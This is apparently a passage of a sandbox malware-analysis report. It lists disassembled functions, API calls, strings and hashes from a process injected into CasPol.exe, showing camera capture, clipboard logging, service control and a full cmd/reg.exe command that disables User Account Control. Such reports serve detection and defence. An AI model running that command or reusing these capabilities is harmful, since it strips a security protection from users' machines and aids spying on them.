                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: (CG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$BG
                                                                                    • API String ID: 0-3292752334
                                                                                    • Opcode ID: b7a2e59ac2a9b4cfd69ae58ffa53ef09c4b6135ca76893af750d01e39a00b3fe
                                                                                    • Instruction ID: a0817f974ad937f6cb5b9dd001e5131ae01746641b95ac10126ddf8aadfa6e31
                                                                                    • Opcode Fuzzy Hash: b7a2e59ac2a9b4cfd69ae58ffa53ef09c4b6135ca76893af750d01e39a00b3fe
                                                                                    • Instruction Fuzzy Hash: 05F096B17022109BDB103774BC1967A3645A780356F01847BF94BFA6E5DB3C8851869C
                                                                                    Function 004395FC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __allrem.LIBCMT ref: 00439789
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004397A5
                                                                                    • __allrem.LIBCMT ref: 004397BC
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004397DA
                                                                                    • __allrem.LIBCMT ref: 004397F1
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043980F
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                    • String ID:
                                                                                    • API String ID: 1992179935-0
                                                                                    • Opcode ID: 088a2e1066119da7e611ebb0c50ba568729b81e5e50e163a33f94ab824c18df8
                                                                                    • Instruction ID: 29148231e9435c1f59b8c02308e8e4f0c882d016d38a0f6ab7871d26eba04b65
                                                                                    • Opcode Fuzzy Hash: 088a2e1066119da7e611ebb0c50ba568729b81e5e50e163a33f94ab824c18df8
                                                                                    • Instruction Fuzzy Hash: 7A811B726017069BE724AE79CC82B6F73A8AF49328F24512FF511D66C1E7B8DD018B58
                                                                                    Function 00444B3D Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __cftoe
                                                                                    • String ID:
                                                                                    • API String ID: 4189289331-0
                                                                                    • Opcode ID: 20c88ef437a120485069e82cad4792bbc61779312f3e169af31805832c4ed2ab
                                                                                    • Instruction ID: 646e0444ce84107b4b6d0ff1d92098e8eb0dfa86acef9ec08128487301265115
                                                                                    • Opcode Fuzzy Hash: 20c88ef437a120485069e82cad4792bbc61779312f3e169af31805832c4ed2ab
                                                                                    • Instruction Fuzzy Hash: A851FC72900105ABFB249F598C81F6F77A9EFC9324F15421FF815A6281DB3DDD01866D
                                                                                    Function 00446159 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __freea$__alloca_probe_16
                                                                                    • String ID: a/p$am/pm
                                                                                    • API String ID: 3509577899-3206640213
                                                                                    • Opcode ID: d47145a3bc1b7d9653af932916ed6ede224238620767b4a39004040ccf91a16a
                                                                                    • Instruction ID: cf09b504ad0dd49156c227457699755419044adef71e8be36bbdd309731302d4
                                                                                    • Opcode Fuzzy Hash: d47145a3bc1b7d9653af932916ed6ede224238620767b4a39004040ccf91a16a
                                                                                    • Instruction Fuzzy Hash: 5FD1F271A00206EAFB249F68D945ABBB7B0FF06300F26415BE905AB749D37D8D41CB5B
                                                                                    Function 00403DE7 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 135sleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • Sleep.KERNEL32(00000000), ref: 00403E8A
                                                                                      • Part of subcall function 00403FCD: __EH_prolog.LIBCMT ref: 00403FD2
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: H_prologSleep
                                                                                    • String ID: CloseCamera$FreeFrame$GetFrame$OpenCamera$P>G
                                                                                    • API String ID: 3469354165-462540288
                                                                                    • Opcode ID: fea753129d67a911db83ec9719f0726e8be355b30250b39268ef61c21add15eb
                                                                                    • Instruction ID: 0dce3c58988623f436d5c5d916b021fc345e3c2d86dff9f08dc17926b78fee06
                                                                                    • Opcode Fuzzy Hash: fea753129d67a911db83ec9719f0726e8be355b30250b39268ef61c21add15eb
                                                                                    • Instruction Fuzzy Hash: A441A330A0420197CA14FB79C816AAD3A655B45704F00453FF809A73E2EF7C9A45C7CF
                                                                                    Function 00419DEC Relevance: 9.1, APIs: 6, Instructions: 66serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419DFC
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E10
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E1D
                                                                                    • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00419507), ref: 00419E52
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E64
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E67
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                                                    • String ID:
                                                                                    • API String ID: 493672254-0
                                                                                    • Opcode ID: cc75d9dcd9698d489bd16d1529218808ef0209595e5e3940521ea5438231db37
                                                                                    • Instruction ID: c28812c6d5a3476d8c1fe7dae916194da5da8b168be8dbaba893861dad7fc5da
                                                                                    • Opcode Fuzzy Hash: cc75d9dcd9698d489bd16d1529218808ef0209595e5e3940521ea5438231db37
                                                                                    • Instruction Fuzzy Hash: 3301F5311483147AD7119B39EC5EEBF3AACDB42B71F10022BF526D62D1DA68DE8181A9
                                                                                    Function 00437E06 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLastError.KERNEL32(?,?,00437DFD,004377B1), ref: 00437E14
                                                                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00437E22
                                                                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00437E3B
                                                                                    • SetLastError.KERNEL32(00000000,?,00437DFD,004377B1), ref: 00437E8D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLastValue___vcrt_
                                                                                    • String ID:
                                                                                    • API String ID: 3852720340-0
                                                                                    • Opcode ID: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                                                    • Instruction ID: be779a20f6972cc68ff7cd304671387be2c97454b743a33de387a584dbd8fa65
                                                                                    • Opcode Fuzzy Hash: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                                                    • Instruction Fuzzy Hash: 2A01D8B222D315ADEB3427757C87A172699EB09779F2013BFF228851E1EF294C41914C
                                                                                    Function 00446EBF Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLastError.KERNEL32(?,?,0043931C,?,00000000,?,0043B955,00000000,00000000), ref: 00446EC3
                                                                                    • _free.LIBCMT ref: 00446EF6
                                                                                    • _free.LIBCMT ref: 00446F1E
                                                                                    • SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F2B
                                                                                    • SetLastError.KERNEL32(00000000,00000000,00000000), ref: 00446F37
                                                                                    • _abort.LIBCMT ref: 00446F3D
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLast$_free$_abort
                                                                                    • String ID:
                                                                                    • API String ID: 3160817290-0
                                                                                    • Opcode ID: ee081b98001fac20135d606adf3ebd9ed25e83f06873042332f69cc5cc1fb8f1
                                                                                    • Instruction ID: 3d2b287d931d31d162837175e2379b90ae0e47a7897f975c134f35b9cb22fcab
                                                                                    • Opcode Fuzzy Hash: ee081b98001fac20135d606adf3ebd9ed25e83f06873042332f69cc5cc1fb8f1
                                                                                    • Instruction Fuzzy Hash: 2AF0F93560870177F6226339BD45A6F16559BC37A6F36003FF414A2293EE2D8C46451F
                                                                                    Function 00419C20 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C2F
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C43
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C50
                                                                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C5F
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C71
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C74
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: 8c2c12d76111034d1ffd754af595e71f441d69217dbef0b08bd463c672326562
                                                                                    • Instruction ID: e05d85410d15b39c35b215a1997cf582e970b4d0c8f2e3caff6268b58306b2a8
                                                                                    • Opcode Fuzzy Hash: 8c2c12d76111034d1ffd754af595e71f441d69217dbef0b08bd463c672326562
                                                                                    • Instruction Fuzzy Hash: F2F0F6325003147BD3116B25EC89EFF3BACDB45BA1F000036F902921D2DB68CD4685F5
                                                                                    Function 00419D22 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D31
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D45
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D52
                                                                                    • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D61
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D73
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D76
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: d7e55e87c4aa5de171478471ca9946ff37ffda1a29cecfda88707176146ab33a
                                                                                    • Instruction ID: 9e91e616c68215657d038be5823d6e3897a30bcf6e0764f9fcdf2292ad9a2404
                                                                                    • Opcode Fuzzy Hash: d7e55e87c4aa5de171478471ca9946ff37ffda1a29cecfda88707176146ab33a
                                                                                    • Instruction Fuzzy Hash: C5F062725003146BD2116B65EC89EBF3BACDB45BA5B00003AFA06A21D2DB68DD4696F9
                                                                                    Function 00419D87 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419D96
                                                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DAA
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DB7
                                                                                    • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DC6
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DD8
                                                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DDB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                                                    • String ID:
                                                                                    • API String ID: 221034970-0
                                                                                    • Opcode ID: b25a7e1b6f2a79e6a708b03e077db022cb2e93733ffc263c18ea91644c8a084d
                                                                                    • Instruction ID: abda6543b9bae7672c93be1b0f3a8a56711a85df89096aceaf06b6c73a90a6e4
                                                                                    • Opcode Fuzzy Hash: b25a7e1b6f2a79e6a708b03e077db022cb2e93733ffc263c18ea91644c8a084d
                                                                                    • Instruction Fuzzy Hash: C2F0C2325002146BD2116B24FC49EBF3AACDB45BA1B04003AFA06A21D2DB28CE4685F8
                                                                                    Function 004129AA Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 173registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412A1D
                                                                                    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00412A4C
                                                                                    • RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,?,?,00002710), ref: 00412AED
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Enum$InfoQueryValue
                                                                                    • String ID: [regsplt]$DG
                                                                                    • API String ID: 3554306468-1089238109
                                                                                    • Opcode ID: c127d2cf9b5c89c260adb81f554e6abb521613c945a79df49cd6ee466864448d
                                                                                    • Instruction ID: 09469598a034e88a10af8fecb22bb8a395a4bc85e225d04bcc93034602455e52
                                                                                    • Opcode Fuzzy Hash: c127d2cf9b5c89c260adb81f554e6abb521613c945a79df49cd6ee466864448d
                                                                                    • Instruction Fuzzy Hash: D8512E72108345AFD310EB61D995DEFB7ECEF84744F00493EB585D2191EB74EA088B6A
                                                                                    Function 004426D4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameA.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000104), ref: 00442714
                                                                                    • _free.LIBCMT ref: 004427DF
                                                                                    • _free.LIBCMT ref: 004427E9
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$FileModuleName
                                                                                    • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$P0\
                                                                                    • API String ID: 2506810119-2899848694
                                                                                    • Opcode ID: 517ef8501d39ed80bd5d3989cd54e6cd38b7eb486680de81052e85c6479d25b4
                                                                                    • Instruction ID: 3cff5717343a4e3a710d875500e96c622d597d45f5ef159119de948e6b6562f0
                                                                                    • Opcode Fuzzy Hash: 517ef8501d39ed80bd5d3989cd54e6cd38b7eb486680de81052e85c6479d25b4
                                                                                    • Instruction Fuzzy Hash: 3E31B371A00218AFEB21DF9ADD81D9EBBFCEB85314F54406BF804A7311D6B88E41DB59
                                                                                    Function 0040AE58 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 87COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 00433519: EnterCriticalSection.KERNEL32(3_,?,00475D2C,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433524
                                                                                      • Part of subcall function 00433519: LeaveCriticalSection.KERNEL32(3_,?,0040AE8B,00475D2C,?,00000000,00000000), ref: 00433561
                                                                                      • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                                                    • __Init_thread_footer.LIBCMT ref: 0040AEA7
                                                                                      • Part of subcall function 004334CF: EnterCriticalSection.KERNEL32(3_,00475D2C,?,0040AEAC,00475D2C,00456D97,?,00000000,00000000), ref: 004334D9
                                                                                      • Part of subcall function 004334CF: LeaveCriticalSection.KERNEL32(3_,?,0040AEAC,00475D2C,00456D97,?,00000000,00000000), ref: 0043350C
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit
                                                                                    • String ID: [End of clipboard]$[Text copied to clipboard]$,]G$0]G
                                                                                    • API String ID: 2974294136-753205382
                                                                                    • Opcode ID: 04bb198fbbe4769673077618b9268d4d887794de53c6d81a72813602c084add1
                                                                                    • Instruction ID: 172b4b58ae75f988d3b3a293bba3f35c56e57800f0e036023c2a0486d145437f
                                                                                    • Opcode Fuzzy Hash: 04bb198fbbe4769673077618b9268d4d887794de53c6d81a72813602c084add1
                                                                                    • Instruction Fuzzy Hash: 44219F31A002099ACB14FB75D8929EE7774AF54318F50403FF406771E2EF386E4A8A8D
                                                                                    Function 00442CD2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: xm_
                                                                                    • API String ID: 0-2384771445
                                                                                    • Opcode ID: bac99735e7dd953dd7de7a25bc7a472b089e844b0a047387f9cea53258e5f848
                                                                                    • Instruction ID: c84c011be516b9a55b4d27d1f6be1bd7d35570b7e88518a67a440710abbdd315
                                                                                    • Opcode Fuzzy Hash: bac99735e7dd953dd7de7a25bc7a472b089e844b0a047387f9cea53258e5f848
                                                                                    • Instruction Fuzzy Hash: 780126F26097153EF62016796CC1F6B230CDF823B8B34073BF421652E1EAA8CC01506C
                                                                                    Function 0041CA1F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ClassCreateErrorLastRegisterWindow
                                                                                    • String ID: 0$MsgWindowClass
                                                                                    • API String ID: 2877667751-2410386613
                                                                                    • Opcode ID: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                                                    • Instruction ID: bff961279ea7560c1ff94ea7b7e8445e3758215821d07408c43b005d8adda241
                                                                                    • Opcode Fuzzy Hash: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                                                    • Instruction Fuzzy Hash: 2D01E9B1D1431EAB8B01DFE9DCC4AEFBBBDBE49255B50452AE410B2200E7704A448BA5
                                                                                    Function 004069BA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42processCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 00406A00
                                                                                    • CloseHandle.KERNEL32(?), ref: 00406A0F
                                                                                    • CloseHandle.KERNEL32(?), ref: 00406A14
                                                                                    Strings
                                                                                    • C:\Windows\System32\cmd.exe, xrefs: 004069FB
                                                                                    • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 004069F6
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseHandle$CreateProcess
                                                                                    • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                                                    • API String ID: 2922976086-4183131282
                                                                                    • Opcode ID: eb4121427644dbe92f0faf5bfcaaefbe4213ddeedd11a12955cf8af7f240737c
                                                                                    • Instruction ID: 91eee74bc7ca160cae255ad37e89f65ee2415c19472677646c1a5aeb81073604
                                                                                    • Opcode Fuzzy Hash: eb4121427644dbe92f0faf5bfcaaefbe4213ddeedd11a12955cf8af7f240737c
                                                                                    • Instruction Fuzzy Hash: 8AF030B69002A9BACB30ABD69C0EFDF7F7DEBC6B11F00042AB615A6051D6745144CAB9
                                                                                    Function 004425D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0044258A,?,?,0044252A,?,0046DAE0,0000000C,00442681,?,00000002), ref: 004425F9
                                                                                    • GetProcAddress.KERNEL32(00000000,CorExitProcess,00000002,?,?,?,0044258A,?,?,0044252A,?,0046DAE0,0000000C,00442681,?,00000002), ref: 0044260C
                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,0044258A,?,?,0044252A,?,0046DAE0,0000000C,00442681,?,00000002,00000000), ref: 0044262F
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressFreeHandleLibraryModuleProc
                                                                                    • String ID: CorExitProcess$mscoree.dll
                                                                                    • API String ID: 4061214504-1276376045
                                                                                    • Opcode ID: 84f8467b83475f4999ab7b265d6d7c22c059d91a263d45f4d19e228ed4a2ac86
                                                                                    • Instruction ID: 32bca75c9846dbfd0145c2b425e1dcbc158e0b1ec8d75d3d798e8c7ef3c4518a
                                                                                    • Opcode Fuzzy Hash: 84f8467b83475f4999ab7b265d6d7c22c059d91a263d45f4d19e228ed4a2ac86
                                                                                    • Instruction Fuzzy Hash: 14F04430904209FBDB169FA5ED09B9EBFB5EB08756F4140B9F805A2251DF749D40CA9C
                                                                                    Function 00412774 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegCreateKeyW.ADVAPI32(80000001,00000000,BG), ref: 0041277F
                                                                                    • RegSetValueExW.ADVAPI32 ref: 004127AD
                                                                                    • RegCloseKey.ADVAPI32(?), ref: 004127B8
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseCreateValue
                                                                                    • String ID: pth_unenc$BG
                                                                                    • API String ID: 1818849710-2233081382
                                                                                    • Opcode ID: ac20c6f818266d456b173dad8d641fd48acc3e355ae729c9f48089b2aa064521
                                                                                    • Instruction ID: fff2d7bcc465bc574364a4979b4b77ba115ffea085319746951fe37a0eeb78e5
                                                                                    • Opcode Fuzzy Hash: ac20c6f818266d456b173dad8d641fd48acc3e355ae729c9f48089b2aa064521
                                                                                    • Instruction Fuzzy Hash: 9FF0CD31500218BBDF109FA0ED46EEF37ACAB40B50F104539F902A60A1E675DB14DAA4
                                                                                    Function 00404AB1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404AED
                                                                                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040483F,00000001), ref: 00404AF9
                                                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,0040483F,00000001), ref: 00404B04
                                                                                    • CloseHandle.KERNEL32(?), ref: 00404B0D
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                                                    • String ID: KeepAlive | Disabled
